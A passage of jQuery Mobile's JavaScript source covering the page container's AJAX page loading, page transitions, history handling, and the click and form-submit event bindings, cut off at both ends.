&& !page.jqmData("title") ) { newPageTitle = $( "<div>" + newPageTitle + "</div>" ).text(); page.jqmData( "title", newPageTitle ); } }, _isRewritableBaseTag: function() { return $.mobile.dynamicBaseEnabled && !$.support.dynamicBaseTag; }, _createDataUrl: function( absoluteUrl ) { return $.mobile.path.convertUrlToDataUrl( absoluteUrl ); }, _createFileUrl: function( absoluteUrl ) { return $.mobile.path.getFilePath( absoluteUrl ); }, _triggerWithDeprecated: function( name, data, page ) { var deprecatedEvent = $.Event( "page" + name ), newEvent = $.Event( this.widgetName + name ); // DEPRECATED // trigger the old deprecated event on the page if it's provided ( page || this.element ).trigger( deprecatedEvent, data ); // use the widget trigger method for the new content* event this._trigger( name, newEvent, data ); return { deprecatedEvent: deprecatedEvent, event: newEvent }; }, // TODO it would be nice to split this up more but everything appears to be "one off" // or require ordering such that other bits are sprinkled in between parts that // could be abstracted out as a group _loadSuccess: function( absUrl, triggerData, settings, deferred ) { var fileUrl = this._createFileUrl( absUrl ); return $.proxy(function( html, textStatus, xhr ) { //pre-parse html to check for a data-url, //use it as the new fileUrl, base path, etc var content, // TODO handle dialogs again pageElemRegex = new RegExp( "(<[^>]+\\bdata-" + this._getNs() + "role=[\"']?page[\"']?[^>]*>)" ), dataUrlRegex = new RegExp( "\\bdata-" + this._getNs() + "url=[\"']?([^\"'>]*)[\"']?" ); // data-url must be provided for the base tag so resource requests // can be directed to the correct url. loading into a temprorary // element makes these requests immediately if ( pageElemRegex.test( html ) && RegExp.$1 && dataUrlRegex.test( RegExp.$1 ) && RegExp.$1 ) { fileUrl = $.mobile.path.getFilePath( $("<div>" + RegExp.$1 + "</div>").text() ); // We specify that, if a data-url attribute is given on the page div, its value // must be given non-URL-encoded. However, in this part of the code, fileUrl is // assumed to be URL-encoded, so we URL-encode the retrieved value here fileUrl = this.window[ 0 ].encodeURIComponent( fileUrl ); } //dont update the base tag if we are prefetching if ( settings.prefetch === undefined ) { this._getBase().set( fileUrl ); } content = this._parse( html, fileUrl ); this._setLoadedTitle( content, html ); // Add the content reference and xhr to our triggerData. triggerData.xhr = xhr; triggerData.textStatus = textStatus; // DEPRECATED triggerData.page = content; triggerData.content = content; triggerData.toPage = content; // If the default behavior is prevented, stop here! // Note that it is the responsibility of the listener/handler // that called preventDefault(), to resolve/reject the // deferred object within the triggerData. if ( this._triggerWithDeprecated( "load", triggerData ).event.isDefaultPrevented() ) { return; } // rewrite src and href attrs to use a base url if the base tag won't work if ( this._isRewritableBaseTag() && content ) { this._getBase().rewrite( fileUrl, content ); } this._include( content, settings ); // Remove loading message. if ( settings.showLoadMsg ) { this._hideLoading(); } deferred.resolve( absUrl, settings, content ); }, this); }, _loadDefaults: { type: "get", data: undefined, // DEPRECATED reloadPage: false, reload: false, // By default we rely on the role defined by the @data-role attribute. role: undefined, showLoadMsg: false, // This delay allows loads that pull from browser cache to // occur without showing the loading message. loadMsgDelay: 50 }, load: function( url, options ) { // This function uses deferred notifications to let callers // know when the content is done loading, or if an error has occurred. var deferred = ( options && options.deferred ) || $.Deferred(), // Examining the option "reloadPage" passed by the user is deprecated as of 1.4.0 // and will be removed in 1.5.0. // Copy option "reloadPage" to "reload", but only if option "reload" is not present reloadOptionExtension = ( ( options && options.reload === undefined && options.reloadPage !== undefined ) ? { reload: options.reloadPage } : {} ), // The default load options with overrides specified by the caller. settings = $.extend( {}, this._loadDefaults, options, reloadOptionExtension ), // The DOM element for the content after it has been loaded. content = null, // The absolute version of the URL passed into the function. This // version of the URL may contain dialog/subcontent params in it. absUrl = $.mobile.path.makeUrlAbsolute( url, this._findBaseWithDefault() ), fileUrl, dataUrl, pblEvent, triggerData; // If the caller provided data, and we're using "get" request, // append the data to the URL. if ( settings.data && settings.type === "get" ) { absUrl = $.mobile.path.addSearchParams( absUrl, settings.data ); settings.data = undefined; } // If the caller is using a "post" request, reload must be true if ( settings.data && settings.type === "post" ) { settings.reload = true; } // The absolute version of the URL minus any dialog/subcontent params. // In otherwords the real URL of the content to be loaded. fileUrl = this._createFileUrl( absUrl ); // The version of the Url actually stored in the data-url attribute of // the content. For embedded content, it is just the id of the page. For // content within the same domain as the document base, it is the site // relative path. For cross-domain content (Phone Gap only) the entire // absolute Url is used to load the content. dataUrl = this._createDataUrl( absUrl ); content = this._find( absUrl ); // If it isn't a reference to the first content and refers to missing // embedded content reject the deferred and return if ( content.length === 0 && $.mobile.path.isEmbeddedPage(fileUrl) && !$.mobile.path.isFirstPageUrl(fileUrl) ) { deferred.reject( absUrl, settings ); return deferred.promise(); } // Reset base to the default document base // TODO figure out why we doe this this._getBase().reset(); // If the content we are interested in is already in the DOM, // and the caller did not indicate that we should force a // reload of the file, we are done. Resolve the deferrred so that // users can bind to .done on the promise if ( content.length && !settings.reload ) { this._enhance( content, settings.role ); deferred.resolve( absUrl, settings, content ); //if we are reloading the content make sure we update // the base if its not a prefetch if ( !settings.prefetch ) { this._getBase().set(url); } return deferred.promise(); } triggerData = { url: url, absUrl: absUrl, toPage: url, prevPage: options ? options.fromPage : undefined, dataUrl: dataUrl, deferred: deferred, options: settings }; // Let listeners know we're about to load content. pblEvent = this._triggerWithDeprecated( "beforeload", triggerData ); // If the default behavior is prevented, stop here! if ( pblEvent.deprecatedEvent.isDefaultPrevented() || pblEvent.event.isDefaultPrevented() ) { return deferred.promise(); } if ( settings.showLoadMsg ) { this._showLoading( settings.loadMsgDelay ); } // Reset base to the default document base. // only reset if we are not prefetching if ( settings.prefetch === undefined ) { this._getBase().reset(); } if ( !( $.mobile.allowCrossDomainPages || $.mobile.path.isSameDomain($.mobile.path.documentUrl, absUrl ) ) ) { deferred.reject( absUrl, settings ); return deferred.promise(); } // Load the new content. $.ajax({ url: fileUrl, type: settings.type, data: settings.data, contentType: settings.contentType, dataType: "html", success: this._loadSuccess( absUrl, triggerData, settings, deferred ), error: this._loadError( absUrl, triggerData, settings, deferred ) }); return deferred.promise(); }, _loadError: function( absUrl, triggerData, settings, deferred ) { return $.proxy(function( xhr, textStatus, errorThrown ) { //set base back to current path this._getBase().set( $.mobile.path.get() ); // Add error info to our triggerData. triggerData.xhr = xhr; triggerData.textStatus = textStatus; triggerData.errorThrown = errorThrown; // Let listeners know the page load failed. var plfEvent = this._triggerWithDeprecated( "loadfailed", triggerData ); // If the default behavior is prevented, stop here! // Note that it is the responsibility of the listener/handler // that called preventDefault(), to resolve/reject the // deferred object within the triggerData. if ( plfEvent.deprecatedEvent.isDefaultPrevented() || plfEvent.event.isDefaultPrevented() ) { return; } // Remove loading message. if ( settings.showLoadMsg ) { this._showError(); } deferred.reject( absUrl, settings ); }, this); }, _getTransitionHandler: function( transition ) { transition = $.mobile._maybeDegradeTransition( transition ); //find the transition handler for the specified transition. If there //isn't one in our transitionHandlers dictionary, use the default one. //call the handler immediately to kick-off the transition. return $.mobile.transitionHandlers[ transition ] || $.mobile.defaultTransitionHandler; }, // TODO move into transition handlers? _triggerCssTransitionEvents: function( to, from, prefix ) { var samePage = false; prefix = prefix || ""; // TODO decide if these events should in fact be triggered on the container if ( from ) { //Check if this is a same page transition and tell the handler in page if( to[0] === from[0] ){ samePage = true; } //trigger before show/hide events // TODO deprecate nextPage in favor of next this._triggerWithDeprecated( prefix + "hide", { // Deprecated in 1.4 remove in 1.5 nextPage: to, toPage: to, prevPage: from, samePage: samePage }, from ); } // TODO deprecate prevPage in favor of previous this._triggerWithDeprecated( prefix + "show", { prevPage: from || $( "" ), toPage: to }, to ); }, // TODO make private once change has been defined in the widget _cssTransition: function( to, from, options ) { var transition = options.transition, reverse = options.reverse, deferred = options.deferred, TransitionHandler, promise; this._triggerCssTransitionEvents( to, from, "before" ); // TODO put this in a binding to events *outside* the widget this._hideLoading(); TransitionHandler = this._getTransitionHandler( transition ); promise = ( new TransitionHandler( transition, reverse, to, from ) ).transition(); promise.done( $.proxy( function() { this._triggerCssTransitionEvents( to, from ); }, this )); // TODO temporary accomodation of argument deferred promise.done(function() { deferred.resolve.apply( deferred, arguments ); }); }, _releaseTransitionLock: function() { //release transition lock so navigation is free again isPageTransitioning = false; if ( pageTransitionQueue.length > 0 ) { $.mobile.changePage.apply( null, pageTransitionQueue.pop() ); } }, _removeActiveLinkClass: function( force ) { //clear out the active button state $.mobile.removeActiveLinkClass( force ); }, _loadUrl: function( to, triggerData, settings ) { // preserve the original target as the dataUrl value will be // simplified eg, removing ui-state, and removing query params // from the hash this is so that users who want to use query // params have access to them in the event bindings for the page // life cycle See issue #5085 settings.target = to; settings.deferred = $.Deferred(); this.load( to, settings ); settings.deferred.done($.proxy(function( url, options, content ) { isPageTransitioning = false; // store the original absolute url so that it can be provided // to events in the triggerData of the subsequent changePage call options.absUrl = triggerData.absUrl; this.transition( content, triggerData, options ); }, this)); settings.deferred.fail($.proxy(function(/* url, options */) { this._removeActiveLinkClass( true ); this._releaseTransitionLock(); this._triggerWithDeprecated( "changefailed", triggerData ); }, this)); }, _triggerPageBeforeChange: function( to, triggerData, settings ) { var returnEvents; triggerData.prevPage = this.activePage; $.extend( triggerData, { toPage: to, options: settings }); // NOTE: preserve the original target as the dataUrl value will be // simplified eg, removing ui-state, and removing query params from // the hash this is so that users who want to use query params have // access to them in the event bindings for the page life cycle // See issue #5085 if ( $.type(to) === "string" ) { // if the toPage is a string simply convert it triggerData.absUrl = $.mobile.path.makeUrlAbsolute( to, this._findBaseWithDefault() ); } else { // if the toPage is a jQuery object grab the absolute url stored // in the loadPage callback where it exists triggerData.absUrl = settings.absUrl; } // Let listeners know we're about to change the current page. returnEvents = this._triggerWithDeprecated( "beforechange", triggerData ); // If the default behavior is prevented, stop here! if ( returnEvents.event.isDefaultPrevented() || returnEvents.deprecatedEvent.isDefaultPrevented() ) { return false; } return true; }, change: function( to, options ) { // If we are in the midst of a transition, queue the current request. // We'll call changePage() once we're done with the current transition // to service the request. if ( isPageTransitioning ) { pageTransitionQueue.unshift( arguments ); return; } var settings = $.extend( {}, $.mobile.changePage.defaults, options ), triggerData = {}; // Make sure we have a fromPage. settings.fromPage = settings.fromPage || this.activePage; // if the page beforechange default is prevented return early if ( !this._triggerPageBeforeChange(to, triggerData, settings) ) { return; } // We allow "pagebeforechange" observers to modify the to in // the trigger data to allow for redirects. Make sure our to is // updated. We also need to re-evaluate whether it is a string, // because an object can also be replaced by a string to = triggerData.toPage; // If the caller passed us a url, call loadPage() // to make sure it is loaded into the DOM. We'll listen // to the promise object it returns so we know when // it is done loading or if an error ocurred. if ( $.type(to) === "string" ) { // Set the isPageTransitioning flag to prevent any requests from // entering this method while we are in the midst of loading a page // or transitioning. isPageTransitioning = true; this._loadUrl( to, triggerData, settings ); } else { this.transition( to, triggerData, settings ); } }, transition: function( toPage, triggerData, settings ) { var fromPage, url, pageUrl, fileUrl, active, activeIsInitialPage, historyDir, pageTitle, isDialog, alreadyThere, newPageTitle, params, cssTransitionDeferred, beforeTransition; // If we are in the midst of a transition, queue the current request. // We'll call changePage() once we're done with the current transition // to service the request. if ( isPageTransitioning ) { // make sure to only queue the to and settings values so the arguments // work with a call to the change method pageTransitionQueue.unshift( [toPage, settings] ); return; } // DEPRECATED - this call only, in favor of the before transition // if the page beforechange default is prevented return early if ( !this._triggerPageBeforeChange(toPage, triggerData, settings) ) { return; } triggerData.prevPage = settings.fromPage; // if the (content|page)beforetransition default is prevented return early // Note, we have to check for both the deprecated and new events beforeTransition = this._triggerWithDeprecated( "beforetransition", triggerData ); if (beforeTransition.deprecatedEvent.isDefaultPrevented() || beforeTransition.event.isDefaultPrevented() ) { return; } // Set the isPageTransitioning flag to prevent any requests from // entering this method while we are in the midst of loading a page // or transitioning. isPageTransitioning = true; // If we are going to the first-page of the application, we need to make // sure settings.dataUrl is set to the application document url. This allows // us to avoid generating a document url with an id hash in the case where the // first-page of the document has an id attribute specified. if ( toPage[ 0 ] === $.mobile.firstPage[ 0 ] && !settings.dataUrl ) { settings.dataUrl = $.mobile.path.documentUrl.hrefNoHash; } // The caller passed us a real page DOM element. Update our // internal state and then trigger a transition to the page. fromPage = settings.fromPage; url = ( settings.dataUrl && $.mobile.path.convertUrlToDataUrl(settings.dataUrl) ) || toPage.jqmData( "url" ); // The pageUrl var is usually the same as url, except when url is obscured // as a dialog url. pageUrl always contains the file path pageUrl = url; fileUrl = $.mobile.path.getFilePath( url ); active = $.mobile.navigate.history.getActive(); activeIsInitialPage = $.mobile.navigate.history.activeIndex === 0; historyDir = 0; pageTitle = document.title; isDialog = ( settings.role === "dialog" || toPage.jqmData( "role" ) === "dialog" ) && toPage.jqmData( "dialog" ) !== true; // By default, we prevent changePage requests when the fromPage and toPage // are the same element, but folks that generate content // manually/dynamically and reuse pages want to be able to transition to // the same page. To allow this, they will need to change the default // value of allowSamePageTransition to true, *OR*, pass it in as an // option when they manually call changePage(). It should be noted that // our default transition animations assume that the formPage and toPage // are different elements, so they may behave unexpectedly. It is up to // the developer that turns on the allowSamePageTransitiona option to // either turn off transition animations, or make sure that an appropriate // animation transition is used. if ( fromPage && fromPage[0] === toPage[0] && !settings.allowSamePageTransition ) { isPageTransitioning = false; this._triggerWithDeprecated( "transition", triggerData ); this._triggerWithDeprecated( "change", triggerData ); // Even if there is no page change to be done, we should keep the // urlHistory in sync with the hash changes if ( settings.fromHashChange ) { $.mobile.navigate.history.direct({ url: url }); } return; } // We need to make sure the page we are given has already been enhanced. toPage.page({ role: settings.role }); // If the changePage request was sent from a hashChange event, check to // see if the page is already within the urlHistory stack. If so, we'll // assume the user hit the forward/back button and will try to match the // transition accordingly. if ( settings.fromHashChange ) { historyDir = settings.direction === "back" ? -1 : 1; } // Kill the keyboard. // XXX_jblas: We need to stop crawling the entire document to kill focus. // Instead, we should be tracking focus with a delegate() // handler so we already have the element in hand at this // point. // Wrap this in a try/catch block since IE9 throw "Unspecified error" if // document.activeElement is undefined when we are in an IFrame. try { if ( document.activeElement && document.activeElement.nodeName.toLowerCase() !== "body" ) { $( document.activeElement ).blur(); } else { $( "input:focus, textarea:focus, select:focus" ).blur(); } } catch( e ) {} // Record whether we are at a place in history where a dialog used to be - // if so, do not add a new history entry and do not change the hash either alreadyThere = false; // If we're displaying the page as a dialog, we don't want the url // for the dialog content to be used in the hash. Instead, we want // to append the dialogHashKey to the url of the current page. if ( isDialog && active ) { // on the initial page load active.url is undefined and in that case // should be an empty string. Moving the undefined -> empty string back // into urlHistory.addNew seemed imprudent given undefined better // represents the url state // If we are at a place in history that once belonged to a dialog, reuse // this state without adding to urlHistory and without modifying the // hash. However, if a dialog is already displayed at this point, and // we're about to display another dialog, then we must add another hash // and history entry on top so that one may navigate back to the // original dialog if ( active.url && active.url.indexOf( $.mobile.dialogHashKey ) > -1 && this.activePage && !this.activePage.hasClass( "ui-dialog" ) && $.mobile.navigate.history.activeIndex > 0 ) { settings.changeHash = false; alreadyThere = true; } // Normally, we tack on a dialog hash key, but if this is the location // of a stale dialog, we reuse the URL from the entry url = ( active.url || "" ); // account for absolute urls instead of just relative urls use as hashes if ( !alreadyThere && url.indexOf("#") > -1 ) { url += $.mobile.dialogHashKey; } else { url += "#" + $.mobile.dialogHashKey; } } // if title element wasn't found, try the page div data attr too // If this is a deep-link or a reload ( active === undefined ) then just // use pageTitle newPageTitle = ( !active ) ? pageTitle : toPage.jqmData( "title" ) || toPage.children( ":jqmData(role='header')" ).find( ".ui-title" ).text(); if ( !!newPageTitle && pageTitle === document.title ) { pageTitle = newPageTitle; } if ( !toPage.jqmData( "title" ) ) { toPage.jqmData( "title", pageTitle ); } // Make sure we have a transition defined. settings.transition = settings.transition || ( ( historyDir && !activeIsInitialPage ) ? active.transition : undefined ) || ( isDialog ? $.mobile.defaultDialogTransition : $.mobile.defaultPageTransition ); //add page to history stack if it's not back or forward if ( !historyDir && alreadyThere ) { $.mobile.navigate.history.getActive().pageUrl = pageUrl; } // Set the location hash. if ( url && !settings.fromHashChange ) { // rebuilding the hash here since we loose it earlier on // TODO preserve the originally passed in path if ( !$.mobile.path.isPath( url ) && url.indexOf( "#" ) < 0 ) { url = "#" + url; } // TODO the property names here are just silly params = { transition: settings.transition, title: pageTitle, pageUrl: pageUrl, role: settings.role }; if ( settings.changeHash !== false && $.mobile.hashListeningEnabled ) { $.mobile.navigate( this.window[ 0 ].encodeURI( url ), params, true); } else if ( toPage[ 0 ] !== $.mobile.firstPage[ 0 ] ) { $.mobile.navigate.history.add( url, params ); } } //set page title document.title = pageTitle; //set "toPage" as activePage deprecated in 1.4 remove in 1.5 $.mobile.activePage = toPage; //new way to handle activePage this.activePage = toPage; // If we're navigating back in the URL history, set reverse accordingly. settings.reverse = settings.reverse || historyDir < 0; cssTransitionDeferred = $.Deferred(); this._cssTransition(toPage, fromPage, { transition: settings.transition, reverse: settings.reverse, deferred: cssTransitionDeferred }); cssTransitionDeferred.done($.proxy(function( name, reverse, $to, $from, alreadyFocused ) { $.mobile.removeActiveLinkClass(); //if there's a duplicateCachedPage, remove it from the DOM now that it's hidden if ( settings.duplicateCachedPage ) { settings.duplicateCachedPage.remove(); } // despite visibility: hidden addresses issue #2965 // https://github.com/jquery/jquery-mobile/issues/2965 if ( !alreadyFocused ) { $.mobile.focusPage( toPage ); } this._releaseTransitionLock(); this._triggerWithDeprecated( "transition", triggerData ); this._triggerWithDeprecated( "change", triggerData ); }, this)); }, // determine the current base url _findBaseWithDefault: function() { var closestBase = ( this.activePage && $.mobile.getClosestBaseUrl( this.activePage ) ); return closestBase || $.mobile.path.documentBase.hrefNoHash; } }); // The following handlers should be bound after mobileinit has been triggered // the following deferred is resolved in the init file $.mobile.navreadyDeferred = $.Deferred(); //these variables make all page containers use the same queue and only navigate one at a time // queue to hold simultanious page transitions var pageTransitionQueue = [], // indicates whether or not page is in process of transitioning isPageTransitioning = false; })( jQuery ); (function( $, undefined ) { // resolved on domready var domreadyDeferred = $.Deferred(), // resolved and nulled on window.load() loadDeferred = $.Deferred(), // function that resolves the above deferred pageIsFullyLoaded = function() { // Resolve and null the deferred loadDeferred.resolve(); loadDeferred = null; }, documentUrl = $.mobile.path.documentUrl, // used to track last vclicked element to make sure its value is added to form data $lastVClicked = null; /* Event Bindings - hashchange, submit, and click */ function findClosestLink( ele ) { while ( ele ) { // Look for the closest element with a nodeName of "a". // Note that we are checking if we have a valid nodeName // before attempting to access it. This is because the // node we get called with could have originated from within // an embedded SVG document where some symbol instance elements // don't have nodeName defined on them, or strings are of type // SVGAnimatedString. if ( ( typeof ele.nodeName === "string" ) && ele.nodeName.toLowerCase() === "a" ) { break; } ele = ele.parentNode; } return ele; } $.mobile.loadPage = function( url, opts ) { var container; opts = opts || {}; container = ( opts.pageContainer || $.mobile.pageContainer ); // create the deferred that will be supplied to loadPage callers // and resolved by the content widget's load method opts.deferred = $.Deferred(); // Preferring to allow exceptions for uninitialized opts.pageContainer // widgets so we know if we need to force init here for users container.pagecontainer( "load", url, opts ); // provide the deferred return opts.deferred.promise(); }; //define vars for interal use /* internal utility functions */ // NOTE Issue #4950 Android phonegap doesn't navigate back properly // when a full page refresh has taken place. It appears that hashchange // and replacestate history alterations work fine but we need to support // both forms of history traversal in our code that uses backward history // movement $.mobile.back = function() { var nav = window.navigator; // if the setting is on and the navigator object is // available use the phonegap navigation capability if ( this.phonegapNavigationEnabled && nav && nav.app && nav.app.backHistory ) { nav.app.backHistory(); } else { $.mobile.pageContainer.pagecontainer( "back" ); } }; // Direct focus to the page title, or otherwise first focusable element $.mobile.focusPage = function ( page ) { var autofocus = page.find( "[autofocus]" ), pageTitle = page.find( ".ui-title:eq(0)" ); if ( autofocus.length ) { autofocus.focus(); return; } if ( pageTitle.length ) { pageTitle.focus(); } else{ page.focus(); } }; // No-op implementation of transition degradation $.mobile._maybeDegradeTransition = $.mobile._maybeDegradeTransition || function( transition ) { return transition; }; // Exposed $.mobile methods $.mobile.changePage = function( to, options ) { $.mobile.pageContainer.pagecontainer( "change", to, options ); }; $.mobile.changePage.defaults = { transition: undefined, reverse: false, changeHash: true, fromHashChange: false, role: undefined, // By default we rely on the role defined by the @data-role attribute. duplicateCachedPage: undefined, pageContainer: undefined, showLoadMsg: true, //loading message shows by default when pages are being fetched during changePage dataUrl: undefined, fromPage: undefined, allowSamePageTransition: false }; $.mobile._registerInternalEvents = function() { var getAjaxFormData = function( $form, calculateOnly ) { var url, ret = true, formData, vclickedName, method; if ( !$.mobile.ajaxEnabled || // test that the form is, itself, ajax false $form.is( ":jqmData(ajax='false')" ) || // test that $.mobile.ignoreContentEnabled is set and // the form or one of it's parents is ajax=false !$form.jqmHijackable().length || $form.attr( "target" ) ) { return false; } url = ( $lastVClicked && $lastVClicked.attr( "formaction" ) ) || $form.attr( "action" ); method = ( $form.attr( "method" ) || "get" ).toLowerCase(); // If no action is specified, browsers default to using the // URL of the document containing the form. Since we dynamically // pull in pages from external documents, the form should submit // to the URL for the source document of the page containing // the form. if ( !url ) { // Get the @data-url for the page containing the form. url = $.mobile.getClosestBaseUrl( $form ); // NOTE: If the method is "get", we need to strip off the query string // because it will get replaced with the new form data. See issue #5710. if ( method === "get" ) { url = $.mobile.path.parseUrl( url ).hrefNoSearch; } if ( url === $.mobile.path.documentBase.hrefNoHash ) { // The url we got back matches the document base, // which means the page must be an internal/embedded page, // so default to using the actual document url as a browser // would. url = documentUrl.hrefNoSearch; } } url = $.mobile.path.makeUrlAbsolute( url, $.mobile.getClosestBaseUrl( $form ) ); if ( ( $.mobile.path.isExternal( url ) && !$.mobile.path.isPermittedCrossDomainRequest( documentUrl, url ) ) ) { return false; } if ( !calculateOnly ) { formData = $form.serializeArray(); if ( $lastVClicked && $lastVClicked[ 0 ].form === $form[ 0 ] ) { vclickedName = $lastVClicked.attr( "name" ); if ( vclickedName ) { // Make sure the last clicked element is included in the form $.each( formData, function( key, value ) { if ( value.name === vclickedName ) { // Unset vclickedName - we've found it in the serialized data already vclickedName = ""; return false; } }); if ( vclickedName ) { formData.push( { name: vclickedName, value: $lastVClicked.attr( "value" ) } ); } } } ret = { url: url, options: { type: method, data: $.param( formData ), transition: $form.jqmData( "transition" ), reverse: $form.jqmData( "direction" ) === "reverse", reloadPage: true } }; } return ret; }; //bind to form submit events, handle with Ajax $.mobile.document.delegate( "form", "submit", function( event ) { var formData; if ( !event.isDefaultPrevented() ) { formData = getAjaxFormData( $( this ) ); if ( formData ) { $.mobile.changePage( formData.url, formData.options ); event.preventDefault(); } } }); //add active state on vclick $.mobile.document.bind( "vclick", function( event ) { var $btn, btnEls, target = event.target, needClosest = false; // if this isn't a left click we don't care. Its important to note // that when the virtual event is generated it will create the which attr if ( event.which > 1 || !$.mobile.linkBindingEnabled ) { return; } // Record that this element was clicked, in case we need it for correct // form submission during the "submit" handler above $lastVClicked = $( target ); // Try to find a target element to which the active class will be applied if ( $.data( target, "mobile-button" ) ) { // If the form will not be submitted via AJAX, do not add active class if ( !getAjaxFormData( $( target ).closest( "form" ), true ) ) { return; } // We will apply the active state to this button widget - the parent // of the input that was clicked will have the associated data if ( target.parentNode ) { target = target.parentNode; } } else { target = findClosestLink( target ); if ( !( target && $.mobile.path.parseUrl( target.getAttribute( "href" ) || "#" ).hash !== "#" ) ) { return; } // TODO teach $.mobile.hijackable to operate on raw dom elements so the // link wrapping can be avoided if ( !$( target ).jqmHijackable().length ) { return; } } // Avoid calling .closest by using the data set during .buttonMarkup() // List items have the button data in the parent of the element clicked if ( !!~target.className.indexOf( "ui-link-inherit" ) ) { if ( target.parentNode ) { btnEls = $.data( target.parentNode, "buttonElements" ); } // Otherwise, look for the data on the target itself } else { btnEls = $.data( target, "buttonElements" ); } // If found, grab the button's outer element if ( btnEls ) { target = btnEls.outer; } else { needClosest = true; } $btn = $( target ); // If the outer element wasn't found by the our heuristics, use .closest() if ( needClosest ) { $btn = $btn.closest( ".ui-btn" ); } if ( $btn.length > 0 && !( $btn.hasClass( "ui-state-disabled" || // DEPRECATED as of 1.4.0 - remove after 1.4.0 release // only ui-state-disabled should be present thereafter $btn.hasClass( "ui-disabled" ) ) ) ) { $.mobile.removeActiveLinkClass( true ); $.mobile.activeClickedLink = $btn; $.mobile.activeClickedLink.addClass( $.mobile.activeBtnClass ); } }); // click routing - direct to HTTP or Ajax, accordingly $.mobile.document.bind( "click", function( event ) { if ( !$.mobile.linkBindingEnabled || event.isDefaultPrevented() ) { return; } var link = findClosestLink( event.target ), $link = $( link ), //remove active link class if external (then it won't be there if you come back) httpCleanup = function() { window.setTimeout(function() { $.mobile.removeActiveLinkClass( true ); }, 200 ); }, baseUrl, href, useDefaultUrlHandling, isExternal, transition, reverse, role; // If a button was clicked, clean up the active class added by vclick above if ( $.mobile.activeClickedLink && $.mobile.activeClickedLink[ 0 ] === event.target.parentNode ) { httpCleanup(); } // If there is no link associated with the click or its not a left // click we want to ignore the click // TODO teach $.mobile.hijackable to operate on raw dom elements so the link wrapping // can be avoided if ( !link || event.which > 1 || !$link.jqmHijackable().length ) { return; } //if there's a data-rel=back attr, go back in history if ( $link.is( ":jqmData(rel='back')" ) ) { $.mobile.back(); return false; } baseUrl = $.mobile.getClosestBaseUrl( $link ); //get href, if defined, otherwise default to empty hash href = $.mobile.path.makeUrlAbsolute( $link.attr( "href" ) || "#", baseUrl ); //if ajax is disabled, exit early if ( !$.mobile.ajaxEnabled && !$.mobile.path.isEmbeddedPage( href ) ) { httpCleanup(); //use default click handling return; } // XXX_jblas: Ideally links to application pages should be specified as // an url to the application document with a hash that is either // the site relative path or id to the page. But some of the // internal code that dynamically generates sub-pages for nested // lists and select dialogs, just write a hash in the link they // create. This means the actual URL path is based on whatever // the current value of the base tag is at the time this code // is called. if ( href.search( "#" ) !== -1 && !( $.mobile.path.isExternal( href ) && $.mobile.path.isAbsoluteUrl( href ) ) ) { href = href.replace( /[^#]*#/, "" ); if ( !href ) { //link was an empty hash meant purely //for interaction, so we ignore it. event.preventDefault(); return; } else if ( $.mobile.path.isPath( href ) ) { //we have apath so make it the href we want to load. href = $.mobile.path.makeUrlAbsolute( href, baseUrl ); } else { //we have a simple id so use the documentUrl as its base. href = $.mobile.path.makeUrlAbsolute( "#" + href, documentUrl.hrefNoHash ); } } // Should we handle this link, or let the browser deal with it? useDefaultUrlHandling = $link.is( "[rel='external']" ) || $link.is( ":jqmData(ajax='false')" ) || $link.is( "[target]" ); // Some embedded browsers, like the web view in Phone Gap, allow cross-domain XHR // requests if the document doing the request was loaded via the file:// protocol. // This is usually to allow the application to "phone home" and fetch app specific // data. We normally let the browser handle external/cross-domain urls, but if the // allowCrossDomainPages option is true, we will allow cross-domain http/https // requests to go through our page loading logic. //check for protocol or rel and its not an embedded page //TODO overlap in logic from isExternal, rel=external check should be // moved into more comprehensive isExternalLink isExternal = useDefaultUrlHandling || ( $.mobile.path.isExternal( href ) && !$.mobile.path.isPermittedCrossDomainRequest( documentUrl, href ) ); if ( isExternal ) { httpCleanup(); //use default click handling return; } //use ajax transition = $link.jqmData( "transition" ); reverse = $link.jqmData( "direction" ) === "reverse" || // deprecated - remove by 1.0 $link.jqmData( "back" ); //this may need to be more specific as we use data-rel more role = $link.attr( "data-" + $.mobile.ns + "rel" ) || undefined; $.mobile.changePage( href, { transition: transition, reverse: reverse, role: role, link: $link } ); event.preventDefault(); }); //prefetch pages when anchors with data-prefetch are encountered $.mobile.document.delegate( ".ui-page", "pageshow.prefetch", function() { var urls = []; $( this ).find( "a:jqmData(prefetch)" ).each(function() { var $link = $( this ), url = $link.attr( "href" ); if ( url && $.inArray( url, urls ) === -1 ) { urls.push( url ); $.mobile.loadPage( url, { role: $link.attr( "data-" + $.mobile.ns + "rel" ),prefetch: true } ); } }); }); // TODO ensure that the navigate binding in the content widget happens at the right time $.mobile.pageContainer.pagecontainer(); //set page min-heights to be device specific $.mobile.document.bind( "pageshow", function() { // We need to wait for window.load to make sure that styles have already been rendered, // otherwise heights of external toolbars will have the wrong value if ( loadDeferred ) { loadDeferred.done( $.mobile.resetActivePageHeight ); } else { $.mobile.resetActivePageHeight(); } }); $.mobile.window.bind( "throttledresize", $.mobile.resetActivePageHeight ); };//navreadyDeferred done callback $( function() { domreadyDeferred.resolve(); } ); // Account for the possibility that the load event has already fired if ( document.readyState === "complete" ) { pageIsFullyLoaded(); } else { $.mobile.window.load( pageIsFullyLoaded ); } $.when( domreadyDeferred, $.mobile.navreadyDeferred ).done( function() { $.mobile._registerInternalEvents(); } ); })( jQuery ); (function( $, window, undefined ) { // TODO remove direct references to $.mobile and properties, we should // favor injection with params to the constructor $.mobile.Transition = function() { this.init.apply( this, arguments ); }; $.extend($.mobile.Transition.prototype, { toPreClass: " ui-page-pre-in", init: function( name, reverse, $to, $from ) { $.extend(this, { name: name, reverse: reverse, $to: $to, $from: $from, deferred: new $.Deferred() }); }, cleanFrom: function() { this.$from .removeClass( $.mobile.activePageClass + " out in reverse " + this.name ) .height( "" ); }, // NOTE overridden by child object prototypes, noop'd here as defaults beforeDoneIn: function() {}, beforeDoneOut: function() {}, beforeStartOut: function() {}, doneIn: function() { this.beforeDoneIn(); this.$to.removeClass( "out in reverse " + this.name ).height( "" ); this.toggleViewportClass(); // In some browsers (iOS5), 3D transitions block the ability to scroll to the desired location during transition // This ensures we jump to that spot after the fact, if we aren't there already. if ( $.mobile.window.scrollTop() !== this.toScroll ) { this.scrollPage(); } if ( !this.sequential ) { this.$to.addClass( $.mobile.activePageClass ); } this.deferred.resolve( this.name, this.reverse, this.$to, this.$from, true ); }, doneOut: function( screenHeight, reverseClass, none, preventFocus ) { this.beforeDoneOut(); this.startIn( screenHeight, reverseClass, none, preventFocus ); }, hideIn: function( callback ) { // Prevent flickering in phonegap container: see comments at #4024 regarding iOS this.$to.css( "z-index", -10 ); callback.call( this ); this.$to.css( "z-index", "" ); }, scrollPage: function() { // By using scrollTo instead of silentScroll, we can keep things better 